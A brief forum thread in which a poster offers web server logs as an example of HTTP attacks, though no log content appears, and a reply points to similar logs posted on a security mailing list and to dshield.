What does an HTTP attack look like?
Posted for educational edification, here's a snipper from the AZSPF.ORG web server logs showing what I consider to be multiple attacks from the same source:

What's in your log files?



Very Nice!
On a similar note someone posted these logs in March to seclists.org - http://seclists.org/lists/fulldisclosure/2006/Mar/0176.html
I would guess that the host scanning would show up at dshield as well!
